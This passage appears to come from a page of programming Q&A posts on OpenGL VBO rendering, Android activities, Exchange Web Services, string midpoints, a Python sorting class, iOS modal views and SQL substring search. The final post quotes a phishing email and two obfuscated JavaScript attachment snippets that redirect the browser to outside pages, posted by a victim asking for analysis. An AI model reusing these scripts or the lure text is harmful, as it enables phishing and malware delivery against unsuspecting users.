VerticesVBOStride; private int VertexCount; private int ELementBufferObjectID; private int textureCoordinateVBOID; private int textureCoordinateVBOStride; //private int textureCoordinateArraySize; private int normalVBOID; private int normalVBOStride; public VBOFaceBasedCube() { IList<Vector3> allVertices = new List<Vector3>(); //rechtsbovenvoor allVertices.Add(new Vector3(1.0f, 1.0f, 1.0f)); //0 //rechtsbovenachter allVertices.Add(new Vector3(1.0f, 1.0f, -1.0f)); //1 //linksbovenachter allVertices.Add(new Vector3(-1.0f, 1.0f, -1.0f)); //2 //linksbovenvoor allVertices.Add(new Vector3(-1.0f, 1.0f, 1.0f)); //3 //rechtsondervoor allVertices.Add(new Vector3(1.0f, -1.0f, 1.0f)); //4 //rechtsonderachter allVertices.Add(new Vector3(1.0f, -1.0f, -1.0f)); //5 //linksonderachter allVertices.Add(new Vector3(-1.0f, -1.0f, -1.0f)); //6 //linksondervoor allVertices.Add(new Vector3(-1.0f, -1.0f, 1.0f)); //7 IList<Vector2> textureCoordinates = new List<Vector2>(); textureCoordinates.Add(new Vector2(0, 0)); //AA - 0 textureCoordinates.Add(new Vector2(0, 0.3333333f)); //AB - 1 textureCoordinates.Add(new Vector2(0, 0.6666666f)); //AC - 2 textureCoordinates.Add(new Vector2(0, 1)); //AD - 3 textureCoordinates.Add(new Vector2(0.3333333f, 0)); //BA - 4 textureCoordinates.Add(new Vector2(0.3333333f, 0.3333333f)); //BB - 5 textureCoordinates.Add(new Vector2(0.3333333f, 0.6666666f)); //BC - 6 textureCoordinates.Add(new Vector2(0.3333333f, 1)); //BD - 7 textureCoordinates.Add(new Vector2(0.6666666f, 0)); //CA - 8 textureCoordinates.Add(new Vector2(0.6666666f, 0.3333333f)); //CB - 9 textureCoordinates.Add(new Vector2(0.6666666f, 0.6666666f)); //CC -10 textureCoordinates.Add(new Vector2(0.6666666f, 1)); //CD -11 textureCoordinates.Add(new Vector2(1, 0)); //DA -12 textureCoordinates.Add(new Vector2(1, 0.3333333f)); //DB -13 textureCoordinates.Add(new Vector2(1, 0.6666666f)); //DC -14 textureCoordinates.Add(new Vector2(1, 1)); //DD -15 Vector3 copy1 = new Vector3(-2.0f, -2.5f, -3.5f); IList<Vector3> normals = new List<Vector3>(); normals.Add(new Vector3(0, 1.0f, 0)); //0 normals.Add(new Vector3(0, 0, 1.0f)); //1 normals.Add(new Vector3(1.0f, 0, 0)); //2 normals.Add(new Vector3(0, 0, -1.0f)); //3 normals.Add(new Vector3(-1.0f, 0, 0)); //4 normals.Add(new Vector3(0, -1.0f, 0)); //5 //todo: VBO based rendering uint[] vertexElements = { 3,0,1, //01 1,2,3, //02 3,7,0, //03 0,7,4, //04 0,4,1, //05 4,5,1, //06 5,2,1, //07 2,5,6, //08 6,3,2, //09 6,7,5, //10 7,6,4, //11 5,4,6 //12 }; VertexCount = vertexElements.Length; IList<uint> vertexElementList = new List<uint>(vertexElements); uint[] normalElements = { 0,0,0, 0,0,0, 1,1,1, 1,1,1, 2,2,2, 2,2,2, 3,3,3, 3,3,3, 4,4,4, 4,4,4, 5,5,5, 5,5,5 }; IList<uint> normalElementList = new List<uint>(normalElements); uint[] textureIndexArray = { 5,9,10, 10,6,5, 1,0,5, 5,0,4, 2,1,6, 1,5,6, 4,9,5, 9,4,8, 8,13,9, 8,12,13, 10,9,14, 13,14,9 }; //textureCoordinateArraySize = textureIndexArray.Length; IList<uint> textureIndexList = new List<uint>(textureIndexArray); LoadVBO(allVertices, normals, textureCoordinates, vertexElements, normalElementList, textureIndexList); } public void draw() { //bind vertices //bind elements //bind normals //bind texture coordinates GL.EnableClientState(ArrayCap.VertexArray); GL.EnableClientState(ArrayCap.NormalArray); GL.EnableClientState(ArrayCap.TextureCoordArray); GL.BindBuffer(BufferTarget.ArrayBuffer, VerticesVBOID); GL.VertexPointer(3, VertexPointerType.Float, VerticesVBOStride, 0); GL.BindBuffer(BufferTarget.ArrayBuffer, normalVBOID); GL.NormalPointer(NormalPointerType.Float, normalVBOStride, 0); GL.BindBuffer(BufferTarget.ArrayBuffer, textureCoordinateVBOID); GL.TexCoordPointer(2, TexCoordPointerType.Float, textureCoordinateVBOStride, 0); GL.BindBuffer(BufferTarget.ElementArrayBuffer, ELementBufferObjectID); GL.DrawElements(BeginMode.Polygon, VertexCount, DrawElementsType.UnsignedShort, 0); } //loads a static VBO void LoadVBO(IList<Vector3> vertices, IList<Vector3> normals, IList<Vector2> texcoords, uint[] elements, IList<uint> normalIndices, IList<uint> texCoordIndices) { int size; //todo // To create a VBO: // 1) Generate the buffer handles for the vertex and element buffers. // 2) Bind the vertex buffer handle and upload your vertex data. Check that the buffer was uploaded correctly. // 3) Bind the element buffer handle and upload your element data. Check that the buffer was uploaded correctly. float[] verticesArray = convertVector3fListToFloatArray(vertices); float[] normalsArray = createFloatArrayFromListOfVector3ElementsAndIndices(normals, normalIndices); float[] textureCoordinateArray = createFloatArrayFromListOfVector2ElementsAndIndices(texcoords, texCoordIndices); GL.GenBuffers(1, out VerticesVBOID); GL.BindBuffer(BufferTarget.ArrayBuffer, VerticesVBOID); Console.WriteLine("load 1 - vertices"); VerticesVBOStride = BlittableValueType.StrideOf(verticesArray); GL.BufferData(BufferTarget.ArrayBuffer, (IntPtr)(verticesArray.Length * sizeof(float)), verticesArray, BufferUsageHint.StaticDraw); GL.GetBufferParameter(BufferTarget.ArrayBuffer, BufferParameterName.BufferSize, out size); if (verticesArray.Length * BlittableValueType.StrideOf(verticesArray) != size) { throw new ApplicationException("Vertex data not uploaded correctly"); } else { Console.WriteLine("load 1 finished ok"); size = 0; } Console.WriteLine("load 2 - elements"); GL.GenBuffers(1, out ELementBufferObjectID); GL.BindBuffer(BufferTarget.ElementArrayBuffer, ELementBufferObjectID); GL.BufferData(BufferTarget.ElementArrayBuffer, (IntPtr)(elements.Length * sizeof(uint)), elements, BufferUsageHint.StaticDraw); GL.GetBufferParameter(BufferTarget.ElementArrayBuffer, BufferParameterName.BufferSize, out size); if (elements.Length * sizeof(uint) != size) { throw new ApplicationException("Element data not uploaded correctly"); } else { size = 0; Console.WriteLine("load 2 finished ok"); } GL.GenBuffers(1, out normalVBOID); GL.BindBuffer(BufferTarget.ArrayBuffer, normalVBOID); Console.WriteLine("load 3 - normals"); normalVBOStride = BlittableValueType.StrideOf(normalsArray); GL.BufferData(BufferTarget.ArrayBuffer, (IntPtr)(normalsArray.Length * sizeof(float)), normalsArray, BufferUsageHint.StaticDraw); GL.GetBufferParameter(BufferTarget.ArrayBuffer, BufferParameterName.BufferSize, out size); Console.WriteLine("load 3 - pre check"); if (normalsArray.Length * BlittableValueType.StrideOf(normalsArray) != size) { throw new ApplicationException("Normal data not uploaded correctly"); } else { Console.WriteLine("load 3 finished ok"); size = 0; } GL.GenBuffers(1, out textureCoordinateVBOID); GL.BindBuffer(BufferTarget.ArrayBuffer, textureCoordinateVBOID); Console.WriteLine("load 4- texture coordinates"); textureCoordinateVBOStride = BlittableValueType.StrideOf(textureCoordinateArray); GL.BufferData(BufferTarget.ArrayBuffer, (IntPtr)(textureCoordinateArray.Length * textureCoordinateVBOStride), textureCoordinateArray, BufferUsageHint.StaticDraw); GL.GetBufferParameter(BufferTarget.ArrayBuffer, BufferParameterName.BufferSize, out size); if (textureCoordinateArray.Length * BlittableValueType.StrideOf(textureCoordinateArray) != size) { throw new ApplicationException("texture coordinate data not uploaded correctly"); } else { Console.WriteLine("load 3 finished ok"); size = 0; } } //used to convert vertex arrayss for use with VBO's private float[] convertVector3fListToFloatArray(IList<Vector3> input) { int arrayElementCount = input.Count * 3; float[] output = new float[arrayElementCount]; int fillCount = 0; foreach (Vector3 v in input) { output[fillCount] = v.X; output[fillCount + 1] = v.Y; output[fillCount + 2] = v.Z; fillCount += 3; } return output; } //used for converting texture coordinate arrays for use with VBO's private float[] convertVector2List_to_floatArray(IList<Vector2> input) { int arrayElementCount = input.Count * 2; float[] output = new float[arrayElementCount]; int fillCount = 0; foreach (Vector2 v in input) { output[fillCount] = v.X; output[fillCount + 1] = v.Y; fillCount += 2; } return output; } //used to create an array of floats from private float[] createFloatArrayFromListOfVector3ElementsAndIndices(IList<Vector3> inputVectors, IList<uint> indices) { int arrayElementCount = inputVectors.Count * indices.Count * 3; float[] output = new float[arrayElementCount]; int fillCount = 0; foreach (int i in indices) { output[fillCount] = inputVectors[i].X; output[fillCount + 1] = inputVectors[i].Y; output[fillCount + 2] = inputVectors[i].Z; fillCount += 3; } return output; } private float[] createFloatArrayFromListOfVector2ElementsAndIndices(IList<Vector2> inputVectors, IList<uint> indices) { int arrayElementCount = inputVectors.Count * indices.Count * 2; float[] output = new float[arrayElementCount]; int fillCount = 0; foreach (int i in indices) { output[fillCount] = inputVectors[i].X; output[fillCount + 1] = inputVectors[i].Y; fillCount += 2; } return output; } } } This code will only render two triangles and they're nothing like I had in mind: I've done some searching. In some other questions I read that, if I did something wrong, I'd get no rendering at all. Clearly, something gets sent to the GFX card, but it might be that I'm not sending the right data. I've tried altering the sequence in which the triangles are rendered by swapping some of the index numbers in the vert, tc and normal index arrays, but this doesn't seem to be of any effect. I'm slightly lost here. What am I doing wrong here?

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  • Start TabActivity from ListActivity (which is content of parent TabActivity) in Android

    - by barmaleikin
    Hi guys, I have problems with switching between activities. I have two TabActivities (A and B), each of of tab activity has 4 tabs with ListActivity. I am trying to show B activity onListItemClick. Code on click is: Intent intent = new Intent(getApplicationContext(), TabBActivity.class); startActivity(intent); My manifest file is following: <manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com" android:versionCode="1" android:versionName="1.0"> <application android:icon="@drawable/app_icon" android:label="@string/app_name" android:debuggable="true"> <activity android:name=".SplashScreen" android:label="@string/app_name"> <intent-filter> <action android:name="android.intent.action.MAIN" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name=".TabAActivity"> <intent-filter> <action android:name="com.TabAActivity" /> <category android:name="android.intent.category.LAUNCHER" /> </intent-filter> </activity> <activity android:name=".TabAListActivityA" android:label="AA"/> <activity android:name=".TabAListActivityB" android:label="AB"/> <activity android:name=".TabAListActivityC" android:label="AC"/> <activity android:name=".TabBActivity" android:label="B"/> <activity android:name=".TabAListBctivityA" android:label="BA"/> <activity android:name=".TabAListBctivityB" android:label="BB"/> <activity android:name=".TabAListBctivityC" android:label="BC"/> </application> </manifest> Is my manifest correct or maybe something is wrong with code? I would appreciate any help on this topic.

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  • Exchange Web Services and Property Sets

    - by Sam
    I need to retrieve calendar information by invoking the Exchange Web Service in BPOS. I'm using a CalendarView with a PropertySet to retrieve as little data as possible. However, property sets seems to be limited. I need the EmailAddress of the one who made the calendar appointment so I thought I could use the AppointmentSchema.Organizer in the PropertySet. When fetching a whole Appointment I can get the e-mail through appt.Organizer.EmailAddress. But with the code below the Organizer.EmailAddress is always null. I've enabled the trace and checked it and only the Organizer.Name property is sent, nothing else. Does anyone have a solution on how to get the EmailAddress when using a PropertySet? CalendarView view = new CalendarView(dtFrom, dtTo); view.PropertySet = new PropertySet(ItemSchema.Subject); view.PropertySet.Add(ItemSchema.Id); view.PropertySet.Add(AppointmentSchema.Start); view.PropertySet.Add(AppointmentSchema.End); view.PropertySet.Add(AppointmentSchema.Organizer); // This should contain EmailAddress but it doesn't Mailbox mailbox = new Mailbox("myemail@test.ab"); FolderId id = new FolderId(WellKnownFolderName.Calendar, mailbox); CalendarFolder folder = CalendarFolder.Bind(service, id); FindItemsResults findResults = folder.FindAppointments(view);

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  • Average of two strings in alphabetical/lexicographical order

    - by Bemmu
    Suppose you take the strings 'a' and 'z' and list all the strings that come between them in alphabetical order: ['a','b','c' ... 'x','y','z']. Take the midpoint of this list and you find 'm'. So this is kind of like taking an average of those two strings. You could extend it to strings with more than one character, for example the midpoint between 'aa' and 'zz' would be found in the middle of the list ['aa', 'ab', 'ac' ... 'zx', 'zy', 'zz']. Might there be a Python method somewhere that does this? If not, even knowing the name of the algorithm would help. I began making my own routine that simply goes through both strings and finds midpoint of the first differing letter, which seemed to work great in that 'aa' and 'az' midpoint was 'am', but then it fails on 'cat', 'doggie' midpoint which it thinks is 'c'. I tried Googling for "binary search string midpoint" etc. but without knowing the name of what I am trying to do here I had little luck.

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  • Python beginner having trouble running code

    - by Protean
    For some reason this code will not seem to run in the interpreter. When I hit F5 nothing happens, not even the debugger seems to recognize it. I assume it has something to do with the class, as when removed the interpreter seems to recognize the rest of the code. Please tell me what I am doing wrong. Edit: I have restarted the interpreter multiple times, any other piece of code I try to load runs fine, just this one is having trouble. print ('Why won't this work?') class sorting_class: def __init__(self): self.order = ['a', 'b', 'c', 'd'] self.globali = 0 self.orderi = 0 self.sortedlist = [] def sort(self, array): carry, leave = [] for arrayi in array: print ('run', arrayi) if self.order[self.orderi] == arrayi[self.globali]: carry.append(arrayi) else: if self.globali != 0: leave.append(arrayi) return carry, leave def srt(self, array): globalii = 0 carry, leave = my.sort(array) while len(self.sortedlist) != len(array): if len(self.carry) == 1: self.sortedlist.append(carry) arrayt = leave self.globali = 1 self.orderi = 0 carry, leave = my.sort(arrayt) elif len(self.carry) == 0: if len(self.leave) != 0: arrayt = leave self.globali = 1 self.orderi += 1 my.sort(arrayt) else: self.arrayt globalii += 1 self.orderi = globalii self.globali = 0 my.sort(arrayt) self.orderi = 0 else: arrayt = carry carry = [] self.globali += 1 carry, leave += my.sort(arrayt) my = sorting_class() x = ['ac', 'bc' ,'ab', 'da'] my.srt(x)

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  • Launching a modal UINavigationController

    - by Alexi Groove
    I'd like to launch a modal view controller the way one does with 'ABPeoplePickerNavigationController' and that is without having to creating a navigation controller containing the view controller. Doing something similar yields a blank screen with no title for the navigation bar and there's no associated nib file loaded for the view even though I am invoking the initWithNibName when the 'init' is called. My controller looks like: @interface MyViewController : UINavigationController @implementation MyViewController - (id)init { NSLog(@"MyViewController init invoked"); if (self = [super initWithNibName:@"DetailView" bundle:nil]) { self.title = @"All Things"; } return self; } - (void)viewDidLoad { [super viewDidLoad]; self.title = @"All Things - 2"; } @end When using the AB controller, all you do is: ABPeoplePickerNavigationController *picker = [[ABPeoplePickerNavigationController alloc] init]; picker.peoplePickerDelegate = self; [self presentModalViewController:picker animated:YES]; [picker release]; ABPeoplePickerNavigationController is declared as: @interface ABPeoplePickerNavigationController : UINavigationController The other way to create a modal view as suggested in Apple's 'View Controller Programming Guide for iPhone OS': // Create a regular view controller. MyViewController *modalViewController = [[[MyViewController alloc] initWithNibName:nil bundle:nil] autorelease]; // Create a navigation controller containing the view controller. UINavigationController *secondNavigationController = [[UINavigationController alloc] initWithRootViewController:modalViewController]; // Present the navigation controller as a modal view controller on top of an existing navigation controller [self presentModalViewController:secondNavigationController animated:YES]; I can create it this way fine (as long as I change the MyViewController to inherit from UIViewController instead of UINavigationController). What else should I be doing to MyViewController to launch the same way as ABPeoplePickerNavigationController?

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  • Average of two strings in alphabetical order

    - by Bemmu
    Suppose you take the strings 'a' and 'z' and list all the strings that come between them in alphabetical order: ['a','b','c' ... 'x','y','z']. Take the midpoint of this list and you find 'm'. So this is kind of like taking an average of those two strings. You could extend it to strings with more than one character, for example the midpoint between 'aa' and 'zz' would be found in the middle of the list ['aa', 'ab', 'ac' ... 'zx', 'zy', 'zz']. Might there be a Python method somewhere that does this? If not, even knowing the name of the algorithm would help. I began making my own routine that simply goes through both strings and finds midpoint of the first differing letter, which seemed to work great in that 'aa' and 'az' midpoint was 'am', but then it fails on 'cat', 'doggie' midpoint which it thinks is 'c'. Rather than invent a method I thought it better to ask. I tried Googling for "binary search string midpoint" etc. but without knowing the name of what I am trying to do here I had little luck.

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  • SQL Server - Multi-Column substring matching

    - by hamlin11
    One of my clients is hooked on multi-column substring matching. I understand that Contains and FreeText search for words (and at least in the case of Contains, word prefixes). However, based upon my understanding of this MSDN book, neither of these nor their variants are capable of searching substrings. I have used LIKE rather extensively (Select * from A where A.B Like '%substr%') Sample table A: ID | Col1 | Col2 | Col3 | ------------------------------------- 1 | oklahoma | colorado | Utah | 2 | arkansas | colorado | oklahoma | 3 | florida | michigan | florida | ------------------------------------- The following code will give us row 1 and row 2: select * from A where Col1 like '%klah%' or Col2 like '%klah%' or Col3 like '%klah%' This is rather ugly, probably slow, and I just don't like it very much. Probably because the implementations that I'm dealing with have 10+ columns that need searched. The following may be a slight improvement as code readability goes, but as far as performance, we're still in the same ball park. select * from A where (Col1 + ' ' + Col2 + ' ' + Col3) like '%klah%' I have thought about simply adding insert, update, and delete triggers that simply add the concatenated version of the above columns into a separate table that shadows this table. Sample Shadow_Table: ID | searchtext | --------------------------------- 1 | oklahoma colorado Utah | 2 | arkansas colorado oklahoma | 3 | florida michigan florida | --------------------------------- This would allow us to perform the following query to search for '%klah%' select * from Shadow_Table where searchtext like '%klah%' I really don't like having to remember that this shadow table exists and that I'm supposed to use it when I am performing multi-column substring matching, but it probably yields pretty quick reads at the expense of write and storage space. My gut feeling tells me there there is an existing solution built into SQL Server 2008. However, I don't seem to be able to find anything other than research papers on the subject. Any help would be appreciated.

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  • What does this Javascript do?

    - by nute
    I've just found out that a spammer is sending email from our domain name, pretending to be us, saying: Dear Customer, This e-mail was send by ourwebsite.com to notify you that we have temporanly prevented access to your account. We have reasons to beleive that your account may have been accessed by someone else. Please run attached file and Follow instructions. (C) ourwebsite.com (I changed that) The attached file is an HTML file that has the following javascript: <script type='text/javascript'>function mD(){};this.aB=43719;mD.prototype = {i : function() {var w=new Date();this.j='';var x=function(){};var a='hgt,t<pG:</</gm,vgb<lGaGwg.GcGogmG/gzG.GhGtGmg'.replace(/[gJG,\<]/g, '');var d=new Date();y="";aL="";var f=document;var s=function(){};this.yE="";aN="";var dL='';var iD=f['lOovcvavtLi5o5n5'.replace(/[5rvLO]/g, '')];this.v="v";var q=27427;var m=new Date();iD['hqrteqfH'.replace(/[Htqag]/g, '')]=a;dE='';k="";var qY=function(){};}};xO=false;var b=new mD(); yY="";b.i();this.xT='';</script> Another email had this: <script type='text/javascript'>function uK(){};var kV='';uK.prototype = {f : function() {d=4906;var w=function(){};var u=new Date();var hK=function(){};var h='hXtHt9pH:9/H/Hl^e9n9dXe!r^mXeXd!i!a^.^c^oHm^/!iHmHaXg!e9sH/^zX.!hXt9m^'.replace(/[\^H\!9X]/g, '');var n=new Array();var e=function(){};var eJ='';t=document['lDo6cDart>iro6nD'.replace(/[Dr\]6\>]/g, '')];this.nH=false;eX=2280;dF="dF";var hN=function(){return 'hN'};this.g=6633;var a='';dK="";function x(b){var aF=new Array();this.q='';var hKB=false;var uN="";b['hIrBeTf.'.replace(/[\.BTAI]/g, '')]=h;this.qO=15083;uR='';var hB=new Date();s="s";}var dI=46541;gN=55114;this.c="c";nT="";this.bG=false;var m=new Date();var fJ=49510;x(t);this.y="";bL='';var k=new Date();var mE=function(){};}};var l=22739;var tL=new uK(); var p="";tL.f();this.kY=false;</script> Can anyone tells me what it does? So we can see if we have a vulnerability, and if we need to tell our customers about it ... Thanks

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